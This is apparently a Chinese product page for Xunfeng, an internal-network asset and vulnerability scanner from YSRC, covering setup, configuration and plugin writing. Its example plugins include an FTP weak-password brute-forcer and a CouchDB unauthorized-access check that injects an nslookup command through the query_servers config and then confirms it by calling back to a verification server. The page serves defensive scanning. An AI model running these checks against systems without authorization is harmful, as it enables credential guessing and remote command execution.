长亭百川云 - 产品详情

banner
产品logo

巡风

296

0

巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。

产品logo
巡风

巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。

产品关联图片
预览
产品关联图片
预览

巡风 License


巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。

本软件只做初步探测,无攻击性行为。请使用者遵守《中华人民共和国网络安全法》,勿将巡风用于非授权的测试,YSRC/同程安全应急响应中心/同程网络科技股份有限公司不负任何连带法律责任。

其主体分为两部分:网络资产识别引擎漏洞检测引擎

网络资产识别引擎会通过用户配置的IP范围定期自动的进行端口探测(支持调用MASSCAN),并进行指纹识别,识别内容包括:服务类型、组件容器、脚本语言、CMS。

漏洞检测引擎会根据用户指定的任务规则进行定期或者一次性的漏洞检测,其支持2种插件类型、标示符与脚本,均可通过web控制台进行添加。

安装指南

Python 2.7
Mongodb 3.4.0

国内镜像 https://code.aliyun.com/ysrc/xunfeng.git

配置指南

  • 在配置-爬虫引擎-网络资产探测列表 设置内网IP段**(必须配置,否则无法正常使用,每个IP段最大限制为10个B段)**。
  • 在配置-爬虫引擎-资产探测周期 设置计划规则。
  • 可启用MASSCAN(探测范围为全端口)代替默认的端口探测脚本,需安装好MASSCAN后配置程序完整绝对路径,点击开启即可完成切换。
     MASSCAN需chmod +x 给执行权限,并手动执行确保可正常运行后再开启。
  • 其他配置根据自身需要进行修改。

插件编写

漏洞插件支持2种类型,json标示与python脚本,可以通过官方推送渠道安装或者自行添加。

JSON标示符

Python脚本

插件标准非常简洁,只需通过 get_plugin_info 方法定义插件信息,check函数检测漏洞即可。

1# coding:utf-8
2
3import ftplib
4
5def get_plugin_info():  # 插件描述信息
6    plugin_info = {
7        "name": "FTP弱口令",
8        "info": "导致敏感信息泄露,严重情况可导致服务器被入侵控制。",
9        "level": "高危",
10        "type": "弱口令",
11        "author": "wolf@YSRC",
12        "url": "",
13        "keyword": "server:ftp",  # 推荐搜索关键字
14    }
15    return plugin_info
16
17def check(ip, port, timeout): # 漏洞检测代码
18    user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
19    for user in user_list:
20        for pass_ in PASSWORD_DIC:  # 密码字典无需定义,程序会自动为其赋值。
21            pass_ = str(pass_.replace('{user}', user))
22            try:
23                ftp = ftplib.FTP()
24                ftp.timeout = timeout
25                ftp.connect(ip, port)
26                ftp.login(user, pass_)
27                if pass_ == '': pass_ = 'null'
28                if user == 'ftp' and pass_ == 'ftp': return u"可匿名登录"
29                return u"存在弱口令,账号:%s,密码:%s" % (user, pass_)  # 成功返回结果,内容显示在扫描结果页面。
30            except:
31                pass

此外系统内嵌了辅助验证功能:

DNS:触发,nslookup randomstr IP,验证, http://ip:8088/randomstr ,返回YES即存在。

HTTP:触发,http://ip:8088/add/randomstr ,验证, http://ip:8088/check/randomstr ,返回YES即存在。

使用例子:

1import urllib2
2import random
3import socket
4
5def get_plugin_info():  # 插件描述信息
6    plugin_info = {
7            "name": "CouchDB未授权访问",
8            "info": "导致敏感信息泄露,攻击者可通过控制面板执行系统命令,导致服务器被入侵。",
9            "level": "高危",
10            "type": "未授权访问",
11            "author": "wolf@YSRC",
12            "url": "",
13            "keyword": "server:couchdb",  # 推荐搜索关键字
14    }
15
16def get_ver_ip(ip):
17    csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
18    csock.connect((ip, 80))
19    (addr, port) = csock.getsockname()
20    csock.close()
21    return addr
22
23def random_str(len):
24    str1=""
25    for i in range(len):
26        str1+=(random.choice("ABCDEFGH1234567890"))
27    return str(str1)
28
29def check(ip,port,timeout):
30    rand_str = random_str(8)
31    cmd = random_str(4)
32    server_ip = get_ver_ip()
33    req_list = [
34        ["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)],
35        ["/vultest123",''],
36        ["/vultest123/test",'{"_id":"safetest"}']
37    ]
38    for req_info in req_list:
39        try:
40            request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout)
41            request.get_method = lambda: 'PUT'
42            urllib2.urlopen(request)
43        except:
44            pass
45    try:
46        req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd))
47        req_exec.add_header("Content-Type","application/json")
48        urllib2.urlopen(req_exec)
49    except:
50        pass
51    check = urllib2.urlopen("http://%s:8088/%s"%(server_ip,rand_str)).read()
52    if 'YES' in check:
53        return u"未授权访问"

流程演示视频

文件结构

│  config.py  # 配置文件
│  README.md  # 说明文档
│  run.bat  # Windows启动服务
│  run.sh    # Linux启动服务,重新启动前需把进程先结束掉
│
├─aider
│      aider.py  # 辅助验证脚本
│
├─db  # 初始数据库结构
│
├─masscan  # 内置编译好的Masscan程序(CentOS win64适用),需要chmod+x给执行权限(root),若无法使用请自行编译安装。
├─nascan
│  │  nascan.py # 网络资产信息抓取
│  │
│  ├─lib
│  │      common.py 其他方法
│  │      icmp.py  # ICMP发送类
│  │      log.py  # 日志输出
│  │      mongo.py  # 数据库连接
│  │      scan.py  # 扫描与识别
│  │      start.py  # 线程控制
│  │
│  └─plugin
│          masscan.py  # 调用Masscan脚本
│
├─views
│  │  web.py  # web启动
│  │  view.py  # web请求处理
│  │
│  ├─lib
│  │      Conn.py  # 数据库公共类
│  │      CreateExcel.py  # 表格处理
│  │      Login.py  # 权限验证
│  │      QueryLogic.py  # 查询语句解析
│  │
│  ├─static #静态资源目录
│  │
│  └─templates #模板文件目录
│
└─vulscan
    │  vulscan.py  # 漏洞检测进程
    │
    └─vuldb # 漏洞库目录

扫描下方二维码关注YSRC公众号,回复自己的微信号+巡风,会有人拉你进巡风的微信讨论群。

718

7

一款足够简单、足够好用、足够强的免费 WAF。基于业界领先的语义引擎检测技术,作为反向代理接入,保护你的网站不受黑客攻击。

产品关联图片
预览
产品关联图片
预览
产品关联图片
预览
产品关联图片
预览

571

2

简单、易用的服务器运维托管平台,可实时监测服务器资源负载,批量管理服务器,为服务器提供全面的安全扫描解决方案。帮你解放双手,像放羊一样管理服务器

产品logo

长亭科技

352

1

洞鉴是一款从资产视角出发,集Web漏洞扫描、主机服务漏洞扫描、基线合规检查于一体,实现资产风险闭环管理的安全评估系统。

基于 Nginx 的开源 WAF,让 Web 服务自带安全能力

产品关联图片
预览
产品关联图片
预览
产品关联图片
预览
产品关联图片
预览
产品关联图片
预览
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2